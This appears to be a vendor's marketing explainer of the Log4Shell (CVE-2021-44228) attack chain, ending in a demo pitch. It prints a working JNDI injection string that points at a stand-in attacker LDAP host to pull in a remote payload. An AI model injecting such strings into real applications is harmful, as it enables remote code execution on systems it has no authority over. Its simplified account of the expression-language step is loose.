To illustrate the complexity and severity of modern application attacks, let's examine an attack against the infamous Log4Shell vulnerability (CVE-2021-44228).
The attack begins when a malicious actor sends a specially crafted request to a vulnerable application. This request contains a Java Naming and Directory Interface (JNDI) lookup string in a format like this:
${jndi:ldap://attacker-controlled-server.com/payload}
When the vulnerable Log4j version processes this string, it interprets the JNDI expression part to be evaluated. This evaluation causes the application to perform a JNDI lookup, reaching out to the attacker-controlled Lightweight Directory Access Protocol (LDAP) server specified in the string.
The attacker's LDAP server responds with an expression language (EL) injection payload. Due to the nature of JNDI and how Log4j processes the response, this payload is treated as an EL expression to be evaluated.
The EL expression typically contains malicious code designed to exploit the EL interpreter. This could include commands to download and execute additional malware, exfiltrate data, or establish a backdoor in the system.
As the EL interpreter evaluates the injected expression, it executes the malicious code within the context of the vulnerable application.
This gives the attacker a foothold into the system, often with the same privileges as the application itself.
The associated JNDI injection can lead directly to remote code execution (RCE), giving attackers significant control over the vulnerable system.
Schedule a demo and see how to eliminate your application-layer blind spots.
Book a demo